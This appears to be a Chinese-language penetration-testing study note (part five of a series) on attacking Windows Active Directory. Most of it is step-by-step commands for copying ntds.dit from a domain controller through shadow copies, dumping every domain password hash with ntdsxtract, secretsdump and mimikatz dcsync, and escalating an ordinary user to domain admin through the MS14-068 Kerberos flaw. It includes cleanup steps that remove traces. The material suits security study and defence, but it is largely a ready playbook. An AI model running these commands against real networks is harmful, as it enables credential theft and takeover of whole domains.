内网渗透学习(五)
使用卷影拷贝服务提取ntds.dit
在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置是域控的%SystemRoot%\ntds\ntds.dit
。和SAM文件一样被Windows操作系统锁定
卷影拷贝服务(Volume Shadow Copy Service),属于快照技术的一种,主要用于备份和恢复
通过ntdsutil.exe提取ntds.dit
通过ntdsutil提取ntds.dit
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。支持的操作系统有Windows Server 2003、Windows Server 2008、Windows Server 2012
创建快照
ntdsutil snapshot "active instance ntds" create quit quit
加载快照
ntdsutil snapshot "mount {GUID}" quit quit
复制快照中文件
copy C:\$SNAP_20180813112_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit
卸载删除快照
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
利用vssadmin提取ntds.dit
创建卷影拷贝
vssadmin create shadow /for=c:
在创建的卷影拷贝中将ntds.dit复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit c:\ntds.dit
删除快照
vssadmin delete shadow /for=c: /quiet
利用vssown.vbs脚本提取ntds.dit
启动卷影拷贝服务
cscript vssown.vbs /start
创建一个C盘的卷影拷贝
script vssown.vbs /create c
列出当前拷贝
csript vssown.vbs /list
复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影拷贝
cscript vssown.vbs /delete {GUID}
使用ntdsutil的IFM创建卷影拷贝
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
将ntds.dit复制到c:\test\Active Directory\文件夹下
将SYSTEM和SECURITY 复制到c:\test\registry\文件夹下
将ntds.dit拖回本地后,在目标机器上将test文件删除
rmdir /s/q test
通过Copy-VSS.ps1脚本,将SAM、SYSTEM、ntds.dit复制到与该脚本相同目录
import-module .\Copy-VSS.ps1
Copy-vss
使用diskshadow导出ntds.dit
将如下命令写入command.txt
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//删除所有快照
delete shadow all
//列出系统中的卷影拷贝
list shadow all
//重置
reset
//推出
exit
接着diskshadow.exe直接加载这个文本文件
diskshadow /s c:\command.txt
导出ntds.dit中的散列值
使用esedbexport恢复ntds.dit
提取表信息
esedbexport -m tables ntds.dit
使用ntdsxtract导出散列值
//将导出的ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹
dsusers.py ntds.dit.export/database.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tree all_user.txt
导出域内所有计算机信息
dscomputers.py ntds.dit.export/database.3 computer_output --csvoutfile all_computers.csv
使用impack工具包导出散列值
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
利用dcsync获取域散列值
使用mimikatz转储域散列值
mimikatz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值
以域管权限打开命令行运行mimikatz,导出域内所有用户名及散列值
lsadump::dcsync /domain:pentest.com /all /csv
Invoke-DCSync -PWDumpFormat
使用Metasploit获取域散列值
- psexec_ntdsgrab模块使用
- 基于meterpreter会话获取域账号和域散列值
使用vshadow.exe.和QuarksPwDump.exe导出域账号和域散列值
Kerberos域用户提权漏洞
Kerberos域用户提权漏洞(MS14-068; CVE-2014-6324)。影响范围:Windows所有服务器操作系统。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。
原理:用户在向KDC申请TGT时,可伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么返回给用户的TGT就使普通域用户拥有了域管理员权限。
PyKEK工具包
PyKEK是一个利用Kerberos协议进行渗透测试的工具包,使用PyKEK可以生成一个高权限的服务票据。
查看补丁情况
// MS14-068的补丁为 KB3011780
wmic qfe get hotfixid
查看用户的SID
whoami /user
生成高权限票据
python ms14-068.py -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
用mimikatz将高权限票据注入内存
mimikatz> kerberos::purge
mimikatz> kerberos::ptc "TGT_user1@pentest.com.ccache"
goldenPac.py
Metasploit的MS14-068利用脚本
use auxiliary/admin/kerberos/ms14-068_kerberos_checksum
参考:内网安全攻防渗透测试实战指南